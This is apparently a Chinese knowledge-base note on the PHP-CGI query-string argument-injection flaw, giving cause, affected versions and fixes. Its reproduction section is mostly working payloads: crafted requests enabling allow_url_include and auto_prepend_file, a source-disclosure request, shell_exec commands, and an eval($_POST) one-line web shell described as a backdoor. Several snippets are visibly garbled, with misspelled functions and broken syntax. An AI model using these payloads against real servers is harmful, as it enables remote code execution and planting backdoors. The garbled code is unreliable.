[PHP知识库]PHP CGI漏洞

一、漏洞原理：

HTTP请求的参数直接传递给Apache服务器，服务器识别不出便向前解析，导致“不合法”参数被执行。具有源码泄露、敏感信息泄露、后门植入、任意代码执行等危害。

二、影响版本：< PHP 5.3.12 或 < PHP 5.4.2

三、修复方法：升级PHP版本、过滤请求参数

四、命令执行：

-b???????? 启动fastcgi进程

-c???????? 查看php.ini文件位置

-d???????? 指定配置项

-s???????? 显示文件源码

-n???????? 不要加载php.ini文件

-T???????? 执行指定次该文件

-h或-? 显示帮助

······

四、复现步骤

1.查看PHP版本

2.构造payload

修改请求：

POST /Index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3a//input HTTP/1.1

GET /Index.php?-s

...

输入代码：

<?php echo shell_exec("ls");?> ?? ?获取当前生成的文件
<?php echo shell_exec("id");?>?? ?获取当前linux用户权限
<?php echo_shell_exrc("pwd");?>?? ?获取当前路径
<?php @eval($_POST['chooper']);>?? ?一句话木马
<?php phpinfo()'?>? ? ? ? 服务器配置信息

...